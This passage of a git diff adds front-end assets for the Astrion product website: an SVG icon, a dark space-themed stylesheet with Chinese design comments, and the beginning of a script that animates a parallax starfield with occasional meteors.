<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" style="opacity:1;"><path fill="none" d="M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z"/></svg>
|
||||||
|
After Width: | Height: | Size: 396 B |
549
website-design/exp/site-assets/site.css
Normal file
@ -0,0 +1,549 @@
|
|||||||
|
/* ═══════════════════════════════════════════════════════════
|
||||||
|
Astrion 官网主页 — 深空主题
|
||||||
|
原则:无 glow、无圆角套娃、无大面积纯黑、克制用色
|
||||||
|
═══════════════════════════════════════════════════════════ */
|
||||||
|
|
||||||
|
:root {
|
||||||
|
/* 深空底色:带蓝意的暗色,不用纯黑 */
|
||||||
|
--bg-0: #0c1120; /* 页面最深底 */
|
||||||
|
--bg-1: #111830; /* 天顶微亮 */
|
||||||
|
--bg-panel: #151c31; /* 实体面板(不透明) */
|
||||||
|
--text-1: #eef1f8;
|
||||||
|
--text-2: #a7b0c4;
|
||||||
|
--text-3: #6b7488;
|
||||||
|
--line: rgba(168, 180, 210, 0.14);
|
||||||
|
--line-strong: rgba(168, 180, 210, 0.24);
|
||||||
|
/* 唯一强调色:星空冰蓝,克制使用(eyebrow/hover/active 态) */
|
||||||
|
--accent: #a9c2f0;
|
||||||
|
--accent-strong: #c1d4f6;
|
||||||
|
--accent-ink: #0c1120;
|
||||||
|
/* CTA 用星白实底 */
|
||||||
|
--cta: #eef1f8;
|
||||||
|
--cta-hover: #dde3f0;
|
||||||
|
/* 迷你示意用的状态色(低饱和) */
|
||||||
|
--ok: #7ba889;
|
||||||
|
--del: #b0766a;
|
||||||
|
|
||||||
|
--font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC",
|
||||||
|
"Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif;
|
||||||
|
--font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas,
|
||||||
|
"Liberation Mono", monospace;
|
||||||
|
|
||||||
|
--page-max: 1120px;
|
||||||
|
--topbar-h: 60px;
|
||||||
|
}
|
||||||
|
|
||||||
|
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||||
|
|
||||||
|
html {
|
||||||
|
scroll-behavior: smooth;
|
||||||
|
/* 橡皮筋过度滚动时露出的底色:与页面渐变同源,杜绝露白 */
|
||||||
|
background: linear-gradient(180deg, #111830 0%, #0c1120 34rem, #0c1120 100%);
|
||||||
|
background-color: #0c1120;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: var(--font-sans);
|
||||||
|
color: var(--text-1);
|
||||||
|
background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 34rem, var(--bg-0) 100%);
|
||||||
|
background-attachment: fixed;
|
||||||
|
line-height: 1.6;
|
||||||
|
-webkit-font-smoothing: antialiased;
|
||||||
|
overflow-x: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
::selection { background: rgba(169, 194, 240, 0.3); }
|
||||||
|
|
||||||
|
a { color: inherit; text-decoration: none; }
|
||||||
|
|
||||||
|
code {
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 0.86em;
|
||||||
|
padding: 0.1em 0.42em;
|
||||||
|
background: rgba(168, 180, 210, 0.12);
|
||||||
|
border-radius: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 星空画布:fixed 全页背景,内容浮在上 ───────── */
|
||||||
|
|
||||||
|
#starfield {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
z-index: 0;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topbar, main, .footer { position: relative; z-index: 1; }
|
||||||
|
|
||||||
|
/* ───────── 通用 ───────── */
|
||||||
|
|
||||||
|
.eyebrow {
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 12px;
|
||||||
|
letter-spacing: 0.18em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--accent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.section-head {
|
||||||
|
max-width: var(--page-max);
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 0 32px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.section-title {
|
||||||
|
margin-top: 14px;
|
||||||
|
font-size: clamp(26px, 3.4vw, 36px);
|
||||||
|
font-weight: 650;
|
||||||
|
letter-spacing: -0.01em;
|
||||||
|
line-height: 1.25;
|
||||||
|
}
|
||||||
|
|
||||||
|
.section-sub {
|
||||||
|
margin-top: 12px;
|
||||||
|
max-width: 560px;
|
||||||
|
color: var(--text-2);
|
||||||
|
font-size: 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 按钮:固定高度,状态切换不改尺寸 ───────── */
|
||||||
|
|
||||||
|
.btn {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
height: 44px;
|
||||||
|
padding: 0 22px;
|
||||||
|
border-radius: 8px;
|
||||||
|
font-size: 15px;
|
||||||
|
font-weight: 550;
|
||||||
|
letter-spacing: 0.01em;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
transition: background-color 0.16s ease, border-color 0.16s ease, color 0.16s ease;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-sm { height: 36px; padding: 0 16px; font-size: 13.5px; }
|
||||||
|
|
||||||
|
.btn-primary { background: var(--cta); color: var(--accent-ink); }
|
||||||
|
.btn-primary:hover { background: var(--cta-hover); }
|
||||||
|
|
||||||
|
.btn-ghost { border-color: var(--line-strong); color: var(--text-1); }
|
||||||
|
.btn-ghost:hover { border-color: var(--text-2); background: rgba(168, 180, 210, 0.06); }
|
||||||
|
|
||||||
|
/* ───────── 顶栏 ───────── */
|
||||||
|
|
||||||
|
.topbar {
|
||||||
|
position: fixed;
|
||||||
|
top: 0; left: 0; right: 0;
|
||||||
|
height: var(--topbar-h);
|
||||||
|
z-index: 50;
|
||||||
|
/* 初始透明(浮在 hero 上),滚动后实底 */
|
||||||
|
background: transparent;
|
||||||
|
border-bottom: 1px solid transparent;
|
||||||
|
transition: background-color 0.2s ease, border-color 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.topbar.scrolled {
|
||||||
|
background: var(--bg-0);
|
||||||
|
border-bottom-color: var(--line);
|
||||||
|
}
|
||||||
|
|
||||||
|
.topbar-inner {
|
||||||
|
max-width: var(--page-max);
|
||||||
|
height: 100%;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 0 32px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
}
|
||||||
|
|
||||||
|
.brand { display: inline-flex; align-items: center; gap: 10px; }
|
||||||
|
.brand-logo { width: 26px; height: 26px; color: var(--text-1); display: inline-flex; }
|
||||||
|
.brand-logo .astrion-avatar { width: 100%; height: 100%; }
|
||||||
|
.brand-logo-sm { width: 20px; height: 20px; }
|
||||||
|
.brand-name { font-size: 16px; font-weight: 620; letter-spacing: 0.01em; }
|
||||||
|
|
||||||
|
.topnav { display: flex; align-items: center; gap: 26px; }
|
||||||
|
|
||||||
|
.topnav-link {
|
||||||
|
font-size: 14px;
|
||||||
|
color: var(--text-2);
|
||||||
|
transition: color 0.15s ease;
|
||||||
|
}
|
||||||
|
.topnav-link:hover { color: var(--text-1); }
|
||||||
|
|
||||||
|
/* ───────── 总览 ───────── */
|
||||||
|
|
||||||
|
.hero {
|
||||||
|
max-width: var(--page-max);
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: calc(var(--topbar-h) + 96px) 32px 110px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.hero-title-row { margin-top: 22px; }
|
||||||
|
|
||||||
|
.hero-title {
|
||||||
|
font-size: clamp(72px, 12.5vw, 156px);
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: -0.035em;
|
||||||
|
line-height: 1;
|
||||||
|
background: linear-gradient(160deg, #f4f6fc 30%, #b9c3da 100%);
|
||||||
|
-webkit-background-clip: text;
|
||||||
|
background-clip: text;
|
||||||
|
color: transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 六边形眼睛跟随标题字号:
|
||||||
|
盒高 1.025em → 六边形实高 ≈0.71em(= 大写字高),
|
||||||
|
vertical-align 补偿 viewBox 底部余白,与标题 baseline 对齐 */
|
||||||
|
.hero-mascot {
|
||||||
|
display: inline-block;
|
||||||
|
width: 1.025em;
|
||||||
|
height: 1.025em;
|
||||||
|
margin-left: 0.16em;
|
||||||
|
vertical-align: -0.157em;
|
||||||
|
color: #eef1f8;
|
||||||
|
}
|
||||||
|
.hero-mascot .astrion-avatar { width: 100%; height: 100%; }
|
||||||
|
|
||||||
|
.hero-sub {
|
||||||
|
margin-top: 28px;
|
||||||
|
max-width: 520px;
|
||||||
|
font-size: 17px;
|
||||||
|
color: var(--text-2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.hero-actions { margin-top: 34px; display: flex; gap: 14px; }
|
||||||
|
|
||||||
|
.hero-platforms {
|
||||||
|
margin-top: 44px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 14px;
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 13px;
|
||||||
|
color: var(--text-3);
|
||||||
|
}
|
||||||
|
|
||||||
|
.platform em { font-style: normal; color: var(--text-3); opacity: 0.75; }
|
||||||
|
.platform-sep { width: 3px; height: 3px; border-radius: 50%; background: var(--text-3); opacity: 0.5; }
|
||||||
|
|
||||||
|
/* ───────── 演示区 ───────── */
|
||||||
|
|
||||||
|
.demo { padding: 60px 0 40px; scroll-margin-top: 40px; }
|
||||||
|
|
||||||
|
.demo-frame-wrap {
|
||||||
|
max-width: calc(var(--page-max) + 2px);
|
||||||
|
margin: 34px auto 0;
|
||||||
|
padding: 0 32px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.demo-frame {
|
||||||
|
position: relative;
|
||||||
|
border: 1px solid var(--line-strong);
|
||||||
|
border-radius: 10px;
|
||||||
|
overflow: hidden;
|
||||||
|
background: var(--bg-panel);
|
||||||
|
}
|
||||||
|
|
||||||
|
.demo-frame iframe {
|
||||||
|
display: block;
|
||||||
|
border: 0;
|
||||||
|
width: 1400px; /* 逻辑尺寸:永不触发窄屏断点 */
|
||||||
|
height: 860px;
|
||||||
|
transform-origin: top left;
|
||||||
|
}
|
||||||
|
|
||||||
|
.demo-note {
|
||||||
|
max-width: var(--page-max);
|
||||||
|
margin: 14px auto 0;
|
||||||
|
padding: 0 32px;
|
||||||
|
font-size: 13px;
|
||||||
|
color: var(--text-3);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 特色功能 ───────── */
|
||||||
|
|
||||||
|
.features { padding: 110px 0 30px; scroll-margin-top: 20px; }
|
||||||
|
|
||||||
|
.feature-list {
|
||||||
|
max-width: var(--page-max);
|
||||||
|
margin: 26px auto 0;
|
||||||
|
padding: 0 32px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.feature-row {
|
||||||
|
display: block;
|
||||||
|
padding: 54px 0;
|
||||||
|
border-top: 1px solid var(--line);
|
||||||
|
}
|
||||||
|
.feature-row:last-child { border-bottom: 1px solid var(--line); }
|
||||||
|
|
||||||
|
/* 带动画的行:左文右动画。动画列给足 540(03/04 舞台逻辑宽)→ 舞台 curScale=1 不缩放,
|
||||||
|
三个动画的智能体渲染尺寸一致 */
|
||||||
|
.feature-row--anim {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: minmax(0, 1fr) minmax(0, 540px);
|
||||||
|
gap: clamp(32px, 6vw, 80px);
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
.feature-anim {
|
||||||
|
position: relative;
|
||||||
|
height: 388px;
|
||||||
|
}
|
||||||
|
/* 动画内部元素样式在 anim-embed.css(与 anim-demo 共用类名, token 取自主题) */
|
||||||
|
|
||||||
|
.feature-index {
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 12.5px;
|
||||||
|
color: var(--text-3);
|
||||||
|
letter-spacing: 0.14em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.feature-title {
|
||||||
|
margin-top: 10px;
|
||||||
|
font-size: clamp(21px, 2.6vw, 27px);
|
||||||
|
font-weight: 640;
|
||||||
|
letter-spacing: -0.01em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.feature-desc {
|
||||||
|
margin-top: 12px;
|
||||||
|
max-width: 560px;
|
||||||
|
font-size: 15px;
|
||||||
|
color: var(--text-2);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* —— 迷你 UI 示意:纯 CSS,无装饰性元素 —— */
|
||||||
|
|
||||||
|
.feature-visual {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
min-height: 120px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 01 三档分段控件 */
|
||||||
|
.mini-modeswitch {
|
||||||
|
display: flex;
|
||||||
|
border: 1px solid var(--line-strong);
|
||||||
|
border-radius: 9px;
|
||||||
|
overflow: hidden;
|
||||||
|
background: var(--bg-panel);
|
||||||
|
}
|
||||||
|
.mini-mode {
|
||||||
|
height: 38px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
padding: 0 22px;
|
||||||
|
font-size: 14px;
|
||||||
|
color: var(--text-2);
|
||||||
|
border-left: 1px solid var(--line);
|
||||||
|
}
|
||||||
|
.mini-mode:first-child { border-left: 0; }
|
||||||
|
.mini-mode.is-active { background: rgba(169, 194, 240, 0.13); color: var(--accent-strong); }
|
||||||
|
|
||||||
|
/* 02 权限开关组 */
|
||||||
|
.mini-perms {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 2px;
|
||||||
|
border: 1px solid var(--line-strong);
|
||||||
|
border-radius: 9px;
|
||||||
|
background: var(--bg-panel);
|
||||||
|
padding: 6px 0;
|
||||||
|
min-width: 260px;
|
||||||
|
}
|
||||||
|
.mini-perm {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
height: 40px;
|
||||||
|
padding: 0 16px;
|
||||||
|
}
|
||||||
|
.mini-perm + .mini-perm { border-top: 1px solid var(--line); }
|
||||||
|
.mini-perm-label { font-size: 14px; color: var(--text-1); }
|
||||||
|
.mini-switch {
|
||||||
|
width: 34px;
|
||||||
|
height: 20px;
|
||||||
|
border-radius: 10px;
|
||||||
|
background: rgba(168, 180, 210, 0.22);
|
||||||
|
position: relative;
|
||||||
|
transition: background-color 0.16s ease;
|
||||||
|
}
|
||||||
|
.mini-switch::after {
|
||||||
|
content: "";
|
||||||
|
position: absolute;
|
||||||
|
top: 2px; left: 2px;
|
||||||
|
width: 16px; height: 16px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: var(--text-1);
|
||||||
|
transition: transform 0.16s ease;
|
||||||
|
}
|
||||||
|
.mini-switch.is-on { background: var(--accent); }
|
||||||
|
.mini-switch.is-on::after { transform: translateX(14px); background: #0c1120; }
|
||||||
|
|
||||||
|
/* 03 diff 片段 */
|
||||||
|
.mini-diff {
|
||||||
|
border: 1px solid var(--line-strong);
|
||||||
|
border-radius: 9px;
|
||||||
|
background: var(--bg-panel);
|
||||||
|
font-family: var(--font-mono);
|
||||||
|
font-size: 12.5px;
|
||||||
|
min-width: 300px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
.mini-diff-file {
|
||||||
|
padding: 9px 14px;
|
||||||
|
color: var(--text-2);
|
||||||
|
border-bottom: 1px solid var(--line);
|
||||||
|
}
|
||||||
|
.mini-diff-line { padding: 5px 14px; white-space: nowrap; }
|
||||||
|
.mini-diff-line.is-add { color: var(--ok); background: rgba(123, 168, 137, 0.08); }
|
||||||
|
.mini-diff-line.is-del { color: var(--del); background: rgba(176, 118, 106, 0.07); }
|
||||||
|
.mini-diff-stat {
|
||||||
|
padding: 8px 14px;
|
||||||
|
border-top: 1px solid var(--line);
|
||||||
|
color: var(--text-3);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 04 检查点时间线 */
|
||||||
|
.mini-timeline {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0;
|
||||||
|
border: 1px solid var(--line-strong);
|
||||||
|
border-radius: 9px;
|
||||||
|
background: var(--bg-panel);
|
||||||
|
padding: 8px 0;
|
||||||
|
min-width: 260px;
|
||||||
|
}
|
||||||
|
.mini-tl-node {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 12px;
|
||||||
|
height: 40px;
|
||||||
|
padding: 0 16px;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
.mini-tl-node + .mini-tl-node::before {
|
||||||
|
content: "";
|
||||||
|
position: absolute;
|
||||||
|
left: 21px;
|
||||||
|
top: -6px;
|
||||||
|
width: 1px;
|
||||||
|
height: 12px;
|
||||||
|
background: var(--line-strong);
|
||||||
|
}
|
||||||
|
.mini-tl-dot {
|
||||||
|
width: 11px; height: 11px;
|
||||||
|
border-radius: 50%;
|
||||||
|
border: 2px solid var(--text-3);
|
||||||
|
flex: none;
|
||||||
|
}
|
||||||
|
.mini-tl-node.is-current .mini-tl-dot { border-color: var(--accent); background: var(--accent); }
|
||||||
|
.mini-tl-label { font-size: 14px; color: var(--text-1); }
|
||||||
|
.mini-tl-node.is-current .mini-tl-label { color: var(--accent-strong); }
|
||||||
|
|
||||||
|
/* ───────── FAQ ───────── */
|
||||||
|
|
||||||
|
.faq { padding: 110px 0 60px; scroll-margin-top: 20px; }
|
||||||
|
|
||||||
|
.faq-list {
|
||||||
|
max-width: 760px;
|
||||||
|
margin: 30px auto 0;
|
||||||
|
padding: 0 32px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.faq-item { border-top: 1px solid var(--line); }
|
||||||
|
.faq-item:last-child { border-bottom: 1px solid var(--line); }
|
||||||
|
|
||||||
|
.faq-q {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 20px;
|
||||||
|
min-height: 62px;
|
||||||
|
padding: 12px 2px;
|
||||||
|
cursor: pointer;
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: 550;
|
||||||
|
list-style: none;
|
||||||
|
transition: color 0.15s ease;
|
||||||
|
}
|
||||||
|
.faq-q::-webkit-details-marker { display: none; }
|
||||||
|
.faq-q:hover { color: var(--accent-strong); }
|
||||||
|
|
||||||
|
.faq-icon {
|
||||||
|
flex: none;
|
||||||
|
width: 14px; height: 14px;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
.faq-icon::before, .faq-icon::after {
|
||||||
|
content: "";
|
||||||
|
position: absolute;
|
||||||
|
background: var(--text-2);
|
||||||
|
transition: transform 0.2s ease;
|
||||||
|
}
|
||||||
|
.faq-icon::before { left: 0; top: 6px; width: 14px; height: 1.5px; }
|
||||||
|
.faq-icon::after { left: 6.25px; top: 0; width: 1.5px; height: 14px; }
|
||||||
|
.faq-item[open] .faq-icon::after { transform: scaleY(0); }
|
||||||
|
|
||||||
|
.faq-a {
|
||||||
|
overflow: hidden;
|
||||||
|
/* JS 做高度动画;无 JS 时 details 原生展开也完整可读 */
|
||||||
|
}
|
||||||
|
.faq-a p {
|
||||||
|
padding: 2px 2px 22px;
|
||||||
|
max-width: 640px;
|
||||||
|
color: var(--text-2);
|
||||||
|
font-size: 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ───────── 底栏 ───────── */
|
||||||
|
|
||||||
|
.footer {
|
||||||
|
border-top: 1px solid var(--line);
|
||||||
|
margin-top: 60px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer-inner {
|
||||||
|
max-width: var(--page-max);
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 26px 32px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer-brand {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 9px;
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: 580;
|
||||||
|
color: var(--text-2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer-links { display: flex; gap: 24px; }
|
||||||
|
.footer-links a { font-size: 13.5px; color: var(--text-3); transition: color 0.15s ease; }
|
||||||
|
.footer-links a:hover { color: var(--text-1); }
|
||||||
|
|
||||||
|
/* ───────── 响应式 ───────── */
|
||||||
|
|
||||||
|
@media (max-width: 860px) {
|
||||||
|
.feature-row--anim { grid-template-columns: minmax(0, 1fr); }
|
||||||
|
.feature-anim { height: 340px; }
|
||||||
|
.topnav-link { display: none; }
|
||||||
|
.hero { padding-top: calc(var(--topbar-h) + 64px); padding-bottom: 72px; }
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (prefers-reduced-motion: reduce) {
|
||||||
|
html { scroll-behavior: auto; }
|
||||||
|
.btn, .topbar, .faq-q { transition: none; }
|
||||||
|
}
|
||||||
288
website-design/exp/site-assets/site.js
Normal file
@ -0,0 +1,288 @@
|
|||||||
|
/* Astrion 官网主页交互
|
||||||
|
* 1) 多层视差星空(无连线、无光晕:实心星点 + 闪烁 + 极慢漂移 + 鼠标/滚动视差 + 偶发流星)
|
||||||
|
* 2) 顶栏滚动态
|
||||||
|
* 3) FAQ 手风琴平滑展开(details + 高度动画)
|
||||||
|
* 4) 演示区 iframe 等比缩放(内部固定 1400×860 逻辑尺寸)
|
||||||
|
* 5) 挂载品牌眼睛(眨眼 + 鼠标追踪)
|
||||||
|
*/
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
'use strict';
|
||||||
|
|
||||||
|
var reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
|
||||||
|
|
||||||
|
/* ═══════════ 1) 星空 ═══════════ */
|
||||||
|
|
||||||
|
var canvas = document.getElementById('starfield');
|
||||||
|
var ctx = canvas.getContext('2d');
|
||||||
|
var W = 0;
|
||||||
|
var H = 0;
|
||||||
|
var DPR = Math.min(window.devicePixelRatio || 1, 2);
|
||||||
|
|
||||||
|
// 层:远 → 近。count 按屏幕面积缩放,drift 为每秒下落 px,parallax 为鼠标/滚动视差系数
|
||||||
|
var LAYERS = [
|
||||||
|
{ density: 1 / 5200, sizeMin: 0.4, sizeMax: 0.9, drift: 1.2, parallax: 6, twinkle: 0.35, alpha: 0.55 },
|
||||||
|
{ density: 1 / 9800, sizeMin: 0.7, sizeMax: 1.3, drift: 2.6, parallax: 14, twinkle: 0.55, alpha: 0.75 },
|
||||||
|
{ density: 1 / 21000, sizeMin: 1.1, sizeMax: 1.9, drift: 4.5, parallax: 26, twinkle: 0.8, alpha: 1.0 }
|
||||||
|
];
|
||||||
|
|
||||||
|
var stars = [];
|
||||||
|
var meteors = [];
|
||||||
|
var nextMeteorAt = 0;
|
||||||
|
|
||||||
|
function resize() {
|
||||||
|
W = window.innerWidth;
|
||||||
|
H = window.innerHeight;
|
||||||
|
canvas.width = Math.round(W * DPR);
|
||||||
|
canvas.height = Math.round(H * DPR);
|
||||||
|
canvas.style.width = W + 'px';
|
||||||
|
canvas.style.height = H + 'px';
|
||||||
|
ctx.setTransform(DPR, 0, 0, DPR, 0, 0);
|
||||||
|
seed();
|
||||||
|
if (reduceMotion) draw(0, 0, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
function seed() {
|
||||||
|
stars = [];
|
||||||
|
var area = W * H;
|
||||||
|
for (var li = 0; li < LAYERS.length; li++) {
|
||||||
|
var L = LAYERS[li];
|
||||||
|
var n = Math.max(12, Math.round(area * L.density));
|
||||||
|
for (var i = 0; i < n; i++) {
|
||||||
|
stars.push({
|
||||||
|
layer: li,
|
||||||
|
x: Math.random() * W,
|
||||||
|
y: Math.random() * H,
|
||||||
|
r: L.sizeMin + Math.random() * (L.sizeMax - L.sizeMin),
|
||||||
|
// 闪烁相位与速度(部分星几乎不闪,画面才稳)
|
||||||
|
phase: Math.random() * Math.PI * 2,
|
||||||
|
speed: 0.25 + Math.random() * 0.9,
|
||||||
|
amp: 0.25 + Math.random() * 0.75
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 鼠标视差目标值
|
||||||
|
var mouseTx = 0;
|
||||||
|
var mouseTy = 0;
|
||||||
|
var mouseX = 0;
|
||||||
|
var mouseY = 0;
|
||||||
|
|
||||||
|
window.addEventListener('mousemove', function (e) {
|
||||||
|
mouseTx = e.clientX / W - 0.5;
|
||||||
|
mouseTy = e.clientY / H - 0.5;
|
||||||
|
}, { passive: true });
|
||||||
|
|
||||||
|
function scheduleMeteor(now) {
|
||||||
|
// 22~48 秒一颗,保持稀有
|
||||||
|
nextMeteorAt = now + 22000 + Math.random() * 26000;
|
||||||
|
}
|
||||||
|
|
||||||
|
function spawnMeteor() {
|
||||||
|
var fromLeft = Math.random() < 0.5;
|
||||||
|
var startX = fromLeft ? -40 : W * (0.35 + Math.random() * 0.65);
|
||||||
|
var startY = Math.random() * H * 0.4;
|
||||||
|
var angle = fromLeft ? 0.32 + Math.random() * 0.2 : Math.PI - (0.32 + Math.random() * 0.2);
|
||||||
|
var speed = 380 + Math.random() * 240;
|
||||||
|
meteors.push({
|
||||||
|
x: startX,
|
||||||
|
y: startY,
|
||||||
|
vx: Math.cos(angle) * speed,
|
||||||
|
vy: Math.abs(Math.sin(angle)) * speed,
|
||||||
|
life: 0,
|
||||||
|
ttl: 0.7 + Math.random() * 0.35
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
var lastTs = 0;
|
||||||
|
|
||||||
|
function tick(ts) {
|
||||||
|
if (document.hidden) {
|
||||||
|
lastTs = ts;
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
var dt = Math.min((ts - lastTs) / 1000 || 0, 0.05);
|
||||||
|
lastTs = ts;
|
||||||
|
var now = ts;
|
||||||
|
|
||||||
|
// 鼠标视差缓动
|
||||||
|
mouseX += (mouseTx - mouseX) * 0.04;
|
||||||
|
mouseY += (mouseTy - mouseY) * 0.04;
|
||||||
|
|
||||||
|
if (now >= nextMeteorAt) {
|
||||||
|
spawnMeteor();
|
||||||
|
scheduleMeteor(now);
|
||||||
|
}
|
||||||
|
|
||||||
|
draw(dt, ts, window.scrollY || 0);
|
||||||
|
|
||||||
|
// 流星生命推进
|
||||||
|
for (var i = meteors.length - 1; i >= 0; i--) {
|
||||||
|
var m = meteors[i];
|
||||||
|
m.life += dt;
|
||||||
|
m.x += m.vx * dt;
|
||||||
|
m.y += m.vy * dt;
|
||||||
|
if (m.life > m.ttl || m.y > H + 60) meteors.splice(i, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
requestAnimationFrame(tick);
|
||||||
|
}
|
||||||
|
|
||||||
|
function draw(dt, ts, scrollY) {
|
||||||
|
ctx.clearRect(0, 0, W, H);
|
||||||
|
var t = ts / 1000;
|
||||||
|
|
||||||
|
for (var i = 0; i < stars.length; i++) {
|
||||||
|
var s = stars[i];
|
||||||
|
var L = LAYERS[s.layer];
|
||||||
|
if (dt) {
|
||||||
|
s.y += L.drift * dt;
|
||||||
|
if (s.y > H + 4) { s.y = -4; s.x = Math.random() * W; }
|
||||||
|
}
|
||||||
|
// 视差:滚动让星野整体上移(近处更明显),鼠标让层间错动
|
||||||
|
var px = s.x + mouseX * L.parallax * 2;
|
||||||
|
var py = s.y - (scrollY * L.parallax * 0.012) + mouseY * L.parallax;
|
||||||
|
// 纵向包裹,保证滚动后星点仍铺满
|
||||||
|
var wrappedY = ((py % (H + 8)) + (H + 8)) % (H + 8) - 4;
|
||||||
|
|
||||||
|
var tw = 1 - L.twinkle * 0.5 + L.twinkle * 0.5 * Math.sin(t * s.speed + s.phase) * s.amp;
|
||||||
|
var a = L.alpha * Math.max(0.15, Math.min(1, tw));
|
||||||
|
ctx.globalAlpha = a;
|
||||||
|
ctx.fillStyle = '#dfe6f5';
|
||||||
|
ctx.fillRect(px, wrappedY, s.r, s.r);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 流星:短细线段,头部略亮(线性渐变线条,不是光晕)
|
||||||
|
for (var j = 0; j < meteors.length; j++) {
|
||||||
|
var m = meteors[j];
|
||||||
|
var fade = 1 - m.life / m.ttl;
|
||||||
|
var tailX = m.x - m.vx * 0.14;
|
||||||
|
var tailY = m.y - m.vy * 0.14;
|
||||||
|
var grad = ctx.createLinearGradient(tailX, tailY, m.x, m.y);
|
||||||
|
grad.addColorStop(0, 'rgba(223,230,245,0)');
|
||||||
|
grad.addColorStop(1, 'rgba(223,230,245,' + (0.6 * fade).toFixed(3) + ')');
|
||||||
|
ctx.globalAlpha = 1;
|
||||||
|
ctx.strokeStyle = grad;
|
||||||
|
ctx.lineWidth = 1.1;
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(tailX, tailY);
|
||||||
|
ctx.lineTo(m.x, m.y);
|
||||||
|
ctx.stroke();
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx.globalAlpha = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
resize();
|
||||||
|
window.addEventListener('resize', resize, { passive: true });
|
||||||
|
|
||||||
|
if (reduceMotion) {
|
||||||
|
